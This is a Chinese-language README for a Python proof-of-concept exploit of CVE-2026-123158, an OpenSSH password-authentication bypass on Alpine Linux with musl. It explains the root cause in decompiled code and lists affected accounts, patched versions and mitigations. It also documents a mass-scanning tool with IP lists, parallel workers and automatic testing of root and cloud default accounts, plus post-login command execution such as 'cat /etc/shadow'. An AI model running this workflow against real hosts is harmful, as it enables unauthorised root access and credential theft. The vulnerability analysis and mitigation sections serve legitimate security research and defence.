一个利用 CVE-2026-123158 的 Python PoC,该漏洞是 Alpine musl 系统上 OpenSSH 密码认证绕过漏洞,具备自动扫描、前置条件检查以及登录后命令执行功能。
Alpine Linux(musl libc)上的 OpenSSH 密码认证绕过
CVSS 3.1:8.1(高危) · CWE-394 · 披露日期:2026-11-05
报告者:Özgün Kültekin(Wakefield)
法律免责声明
本仓库仅用于教育目的、安全研究以及在经授权且受控的环境中进行测试。在未获得系统所有者明确许可的情况下,将本材料用于攻击系统是违法且不道德的。对于在授权范围之外使用本内容所导致的任何滥用、损害或法律后果,作者概不承担责任。
当攻击者发送长度超过 256 字节的密码时,Alpine Linux 上的 sshd 会对未配置密码的账户(shadow 中为 *)接受密码认证。无需任何前置权限——能够通过网络访问 SSH 端口即可。
该漏洞源于三个相互独立的设计决策之间的相互作用:
┌──────────────────────────────────────────────────────────┐
│ 1. musl libc — crypt() returns "*" on failure │
│ (glibc returns NULL; no ambiguity) │
│ │
│ 2. musl SHA-512 — KEY_MAX = 256 bytes │
│ password > 256B → crypt() fails → returns "*" │
│ │
│ 3. OpenSSH (CVE-2016-6210 patch) — anti-enumeration │
│ sshd ALWAYS calls crypt() even for no-password accts │
│ using a salt "borrowed" from another account │
│ │
│ RESULT: │
│ crypt("A"×300, real_salt) → "*" ← musl failure │
│ strcmp("*", "*") → 0 ← no-password acct │
│ LOGIN ACCEPTED │
└──────────────────────────────────────────────────────────┘
这是一个未在公开 CVE 来源中记录的关键细节。
Alpine 的 sshd 在 xcrypt.c 中使用 pick_salt(),并带有一个静态缓存(salt_0)。该绕过需要在同一条 SSH 连接内恰好进行两次尝试:
| 尝试 | pick_salt() | pw_password 状态 | crypt() | 结果 |
|---|---|---|---|---|
| 第 1 次 | 运行 getpwent/getspnam 循环 → 覆盖 musl 静态缓冲区 | 已损坏(指向另一账户的数据) | "*" | strcmp("*", <corrupted>) → 失败 |
| 第 2 次 | 缓存 salt_0 != '\0' → 立即返回,不调用 getspnam() | 有效:仍为目标账户的 "*" | "*" | strcmp("*", "*") == 0 → 成功 |
musl 缓冲区别名: getspnam() 对所有调用使用同一个全局静态缓冲区。在第 1 次尝试中,pick_salt() 调用 getspnam("hashuser") 以获取 salt,覆盖了 pw_password 所指向的缓冲区(该缓冲区来自 getspnam("victim"))。在第 2 次尝试中,循环被跳过——缓冲区未被触碰 → 漏洞利用成功。
该漏洞利用直接使用 paramiko.Transport,在同一条 SSH 连接内执行两次尝试。
二进制文件:sshd-session(ELF x86_64,OpenSSH 9.9p2,Alpine 3.21,带调试符号)
| 函数 | 地址 | 作用 |
|---|---|---|
sys_auth_passwd | 0x10f2e0 | 主入口——存在漏洞的条件 |
xcrypt | 0x1a7720 | pick_salt 在此处被内联(原为 static) |
shadow_pw | 0x1a7700 | 调用 getspnam()——缓冲区别名 |
pick_salt没有独立的符号;编译器将其内联到了xcrypt内部。
sys_auth_passwd——存在漏洞的条件// victim has shadow "*" → pw_password = "*"
char *pw_password = shadow_pw(pw);
// GATE: pw_password[1] == '\0' ← for "*" (len=1) → condition FALSE
// salt stays NULL → xcrypt() calls pick_salt()
if (authctxt->valid && pw_password[0] && pw_password[1])
salt = pw_password; // NOT executed
else
salt = NULL; // vulnerable path
encrypted_password = xcrypt(password, salt);
return strcmp(encrypted_password, pw_password) == 0; // strcmp("*","*") → LOGIN ACCEPTED
xcrypt — 静态缓存 salt_0if (salt == NULL) {
if (salt_0 == '\0') { // 1st call: populate cache
setpwent();
do {
pw = getpwent();
pcVar1 = shadow_pw(pw); // getspnam() → overwrites musl static buffer!
} while (*pcVar1 != '$');
strlcpy(&salt_0, pcVar1, len);
explicit_bzero(pcVar1, strlen(pcVar1));
endpwent();
}
// 2nd call: salt_0 != '\0' → skips loop, no getspnam()
salt = &salt_0;
}
return crypt(password, salt); // musl: len > 256 → returns "*"
| 条件 | Alpine 默认值 |
|---|---|
PasswordAuthentication yes | 是(默认) |
UsePAM no(无 PAM) | 是(默认,未安装 PAM) |
目标账户在 shadow 中为 * | 是(自 Alpine 3.16 起为 root;仅密钥账户) |
至少有一个其他账户使用 $5$/$6$ 哈希 | pick_salt() 所需 |
不受影响: glibc 系统(Debian/Ubuntu/RHEL)、UsePAM yes、PasswordAuthentication no,或 shadow 中为 !(锁定账户)。
* 的账户——实际普遍程度| 账户 | 场景 |
|---|---|
root | 自 3.16 起为 Alpine 默认(仅密钥登录) |
alpine | Cloud-init 默认用户(AWS、GCP、Hetzner) |
ec2-user | 基于 Alpine 的 Amazon Linux AMI |
nobody、nginx、postgres | 由包管理器创建,无密码 |
≤ 256 bytes → rejected (crypt() works, returns real hash)
257–1024 → ACCEPTED (crypt() fails at KEY_MAX, returns "*")
≥ 1025 → rejected (OpenSSH MAX_PASSWORD_LEN = 1024)
| Alpine 分支 | 已修补版本 |
|---|---|
| edge | 10.6_p2-r0 |
| 3.24 | 10.3_p1-r2 |
| 3.23 | 10.2_p1-r1 |
| 3.22 | 10.0_p1-r11 |
| 3.21 | 9.9_p2-r1 |
| 3.20 | 9.7_p1-r6 |
| 3.19 | 9.6_p1-r3 |
| 3.18 | 9.3_p2-r4 |
| < 3.16 | 无可用补丁 |
上游修复: OpenSSH 10.6p2 — 当 shadow 字段少于 4 个字符时,auth-passwd.c 会拒绝匹配。
# Alpine — update openssh and restart daemon
apk upgrade -U -a
rc-service sshd restart # mandatory — installing alone does not replace the running process
# Without updating — disable PasswordAuthentication
echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/disable-pw.conf
sshd -t && rc-service sshd restart
在禁用密码认证之前,请确认基于密钥的登录可以正常工作。
usage: exploit.py (--single IP | --list FILE) [--port N] [--user NAME]
[--auto] [--scan] [--check] [--workers N] [--output FILE]
[--cmd CMD] [--size N] [-v] [-h]
required:
--single IP Single target (e.g. 192.168.1.10)
--list FILE IP list file (one per line; supports IP:port)
--port N SSH port (default: 22)
--user NAME Target user (not required with --auto)
operation mode (default: direct exploit):
--auto Test common accounts with '*' in shadow: root, alpine,
ec2-user, nobody, nginx, postgres
--scan Map the password size boundary (requires --user)
--check Check preconditions without exploiting (requires --user)
optional:
--workers N Parallel workers for --list (default: 1; recommended: <= 20)
--output FILE Save vulnerable results to .txt (append; skips non-vulnerable)
--cmd CMD Command to run after login (default: id)
--size N Oversized password length (default: 300; range: 257-1024)
-v, --verbose Verbose output with technical mechanism details
-h, --help Show this message and exit
examples:
# auto-scan a single target (tests common accounts)
python3 exploit.py --single 192.168.1.10 --port 22 --auto
# auto-scan a target list, save vulnerable results
python3 exploit.py --list targets.txt --auto --output vulnerable.txt
# parallel scan over a list (10 workers)
python3 exploit.py --list targets.txt --auto --workers 10 --output vulnerable.txt
# direct exploit on a known user with a custom command
python3 exploit.py --single 192.168.1.10 --port 22 --user root --cmd 'id && cat /etc/shadow'
# map the password size boundary
python3 exploit.py --single 192.168.1.10 --port 22 --user root --scan
# check preconditions without exploiting
python3 exploit.py --single 192.168.1.10 --port 22 --user root --check
targets.txt format:
192.168.1.10 # uses global --port
192.168.1.11:2222 # overrides port for this host
# lines starting with # are ignored
# Accepted logins in sshd logs
grep "Accepted password" /var/log/messages
# Accounts with '*' in shadow (bypass candidates)
awk -F: '$2 == "*" {print $1}' /etc/shadow